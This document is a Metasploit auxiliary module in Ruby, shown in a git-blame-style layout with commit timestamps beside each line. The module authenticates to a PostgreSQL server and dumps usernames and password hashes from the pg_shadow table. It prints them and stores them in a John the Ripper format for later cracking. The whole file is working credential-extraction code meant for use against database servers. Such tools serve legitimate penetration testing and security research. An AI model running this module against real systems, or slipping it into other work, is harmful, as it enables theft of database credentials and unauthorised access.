2011-10-10 17:05:01 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2011-10-10 17:05:01 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::Postgres
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
|
|
|
|
def initialize
|
|
|
|
super(
|
|
|
|
'Name' => 'Postgres Password Hashdump',
|
|
|
|
'Description' => %Q{
|
|
|
|
This module extracts the usernames and encrypted password
|
|
|
|
hashes from a Postgres server and stores them for later cracking.
|
|
|
|
},
|
|
|
|
'Author' => ['theLightCosine'],
|
|
|
|
'License' => MSF_LICENSE
|
|
|
|
)
|
|
|
|
register_options([
|
|
|
|
OptString.new('DATABASE', [ true, 'The database to authenticate against', 'postgres']),
|
|
|
|
])
|
|
|
|
deregister_options('SQL', 'RETURN_ROWSET', 'VERBOSE')
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def run_host(ip)
|
|
|
|
|
|
|
|
#Query the Postgres Shadow table for username and password hashes and report them
|
|
|
|
res = postgres_query('SELECT usename, passwd FROM pg_shadow',false)
|
|
|
|
|
2014-06-23 17:02:39 +00:00
|
|
|
service_data = {
|
|
|
|
address: ip,
|
|
|
|
port: rport,
|
|
|
|
service_name: 'postgres',
|
|
|
|
protocol: 'tcp',
|
|
|
|
workspace_id: myworkspace_id
|
|
|
|
}
|
|
|
|
|
|
|
|
credential_data = {
|
|
|
|
module_fullname: self.fullname,
|
|
|
|
origin_type: :service,
|
|
|
|
private_data: datastore['PASSWORD'],
|
|
|
|
private_type: :password,
|
2014-06-23 17:08:49 +00:00
|
|
|
username: datastore['USERNAME'],
|
2014-07-10 19:30:25 +00:00
|
|
|
realm_key: Metasploit::Model::Realm::Key::POSTGRESQL_DATABASE,
|
2014-06-23 17:08:49 +00:00
|
|
|
realm_value: datastore['DATABASE']
|
2014-06-23 17:02:39 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
credential_data.merge!(service_data)
|
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
#Error handling routine here, borrowed heavily from todb
|
|
|
|
case res.keys[0]
|
|
|
|
when :conn_error
|
|
|
|
print_error("A Connection Error occured")
|
|
|
|
return
|
|
|
|
when :sql_error
|
2014-06-23 17:02:39 +00:00
|
|
|
# We know the credentials worked but something else went wrong
|
|
|
|
credential_core = create_credential(credential_data)
|
|
|
|
login_data = {
|
|
|
|
core: credential_core,
|
|
|
|
last_attempted_at: DateTime.now,
|
2014-07-17 02:52:08 +00:00
|
|
|
status: Metasploit::Model::Login::Status::SUCCESSFUL
|
2014-06-23 17:02:39 +00:00
|
|
|
}
|
|
|
|
login_data.merge!(service_data)
|
|
|
|
create_credential_login(login_data)
|
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
case res[:sql_error]
|
|
|
|
when /^C42501/
|
|
|
|
print_error "#{datastore['RHOST']}:#{datastore['RPORT']} Postgres - Insufficient permissions."
|
|
|
|
return
|
|
|
|
else
|
|
|
|
print_error "#{datastore['RHOST']}:#{datastore['RPORT']} Postgres - #{res[:sql_error]}"
|
|
|
|
return
|
|
|
|
end
|
|
|
|
when :complete
|
2014-06-23 17:02:39 +00:00
|
|
|
credential_core = create_credential(credential_data)
|
|
|
|
login_data = {
|
|
|
|
core: credential_core,
|
|
|
|
last_attempted_at: DateTime.now,
|
2014-07-17 02:52:08 +00:00
|
|
|
status: Metasploit::Model::Login::Status::SUCCESSFUL
|
2014-06-23 17:02:39 +00:00
|
|
|
}
|
|
|
|
login_data.merge!(service_data)
|
|
|
|
# We know the credentials worked and have admin access because we got the hashes
|
|
|
|
login_data[:access_level] = 'Admin'
|
|
|
|
create_credential_login(login_data)
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("Query appears to have run successfully")
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
tbl = Rex::Ui::Text::Table.new(
|
|
|
|
'Header' => 'Postgres Server Hashes',
|
|
|
|
'Indent' => 1,
|
|
|
|
'Columns' => ['Username', 'Hash']
|
|
|
|
)
|
|
|
|
|
2014-06-04 17:21:49 +00:00
|
|
|
service_data = {
|
|
|
|
address: ::Rex::Socket.getaddress(rhost,true),
|
|
|
|
port: rport,
|
|
|
|
service_name: 'postgres',
|
|
|
|
protocol: 'tcp',
|
|
|
|
workspace_id: myworkspace_id
|
|
|
|
}
|
|
|
|
|
|
|
|
credential_data = {
|
|
|
|
origin_type: :service,
|
2014-06-23 17:02:39 +00:00
|
|
|
jtr_format: 'raw-md5,postgres',
|
2014-06-04 17:21:49 +00:00
|
|
|
module_fullname: self.fullname,
|
|
|
|
private_type: :nonreplayable_hash
|
|
|
|
}
|
|
|
|
|
|
|
|
credential_data.merge!(service_data)
|
2013-08-30 21:28:54 +00:00
|
|
|
|
|
|
|
|
|
|
|
res[:complete].rows.each do |row|
|
|
|
|
next if row[0].nil? or row[1].nil?
|
|
|
|
next if row[0].empty? or row[1].empty?
|
|
|
|
password = row[1]
|
|
|
|
password.slice!(0,3)
|
|
|
|
|
2014-06-04 17:21:49 +00:00
|
|
|
credential_data[:username] = row[0]
|
|
|
|
credential_data[:private_data] = password
|
2013-08-30 21:28:54 +00:00
|
|
|
|
2014-06-04 17:21:49 +00:00
|
|
|
credential_core = create_credential(credential_data)
|
|
|
|
login_data = {
|
|
|
|
core: credential_core,
|
2014-07-17 02:52:08 +00:00
|
|
|
status: Metasploit::Model::Login::Status::UNTRIED
|
2014-06-04 17:21:49 +00:00
|
|
|
}
|
|
|
|
login_data.merge!(service_data)
|
|
|
|
create_credential_login(login_data)
|
2013-08-30 21:28:54 +00:00
|
|
|
|
2014-06-04 17:21:49 +00:00
|
|
|
tbl << [row[0], password]
|
|
|
|
end
|
|
|
|
print_good("#{tbl.to_s}")
|
2013-08-30 21:28:54 +00:00
|
|
|
|
|
|
|
end
|
2011-10-10 17:05:01 +00:00
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
end
|